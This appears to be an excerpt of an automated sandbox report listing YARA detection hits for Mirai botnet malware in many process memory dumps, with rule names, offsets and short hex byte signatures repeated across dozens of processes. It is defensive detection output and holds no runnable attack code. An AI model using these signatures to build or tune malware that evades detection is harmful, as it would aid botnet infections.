7077.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7077.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7179.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7179.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7179.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7179.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7179.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7179.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6362.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6362.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6362.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6362.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6362.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6362.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6809.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6809.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6809.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6809.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6809.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6809.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6296.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6296.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6296.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6296.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6296.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6296.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7230.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7230.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7230.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7230.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7230.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7230.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6497.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6497.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6497.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6497.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6497.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6497.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7087.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7087.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7087.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7087.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7087.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7087.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7280.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7280.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7280.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7280.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7280.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7280.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6385.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6385.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6385.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6385.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6385.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6385.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7434.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7434.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7434.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7434.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7434.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7434.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6949.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6949.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6949.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6949.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6949.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6949.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6921.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6921.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6921.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6921.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6921.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6921.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7040.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7040.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7040.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7040.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7040.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7040.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6973.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6973.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6973.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6973.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6973.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6973.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6855.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6855.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6855.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6855.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6855.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6855.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6366.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6366.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6366.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6366.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6366.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6366.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6959.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6959.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6959.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6959.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6959.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6959.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7384.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6662.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6662.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6662.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6662.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6662.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6662.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6934.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6934.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6934.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6934.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6934.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6934.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6910.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6649.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6649.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6649.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6649.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6649.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6649.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7377.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7377.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7377.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7377.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7377.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7377.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7056.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7056.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7056.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7056.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7056.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7056.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6938.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7195.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6938.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6938.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6938.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6938.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6938.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7195.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7195.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7195.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7195.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7195.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7231.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7231.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7231.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7231.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7231.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7231.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7330.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7330.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7330.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7330.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7330.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7330.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6772.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6772.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6772.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6772.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6772.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6772.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6427.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6427.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6427.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
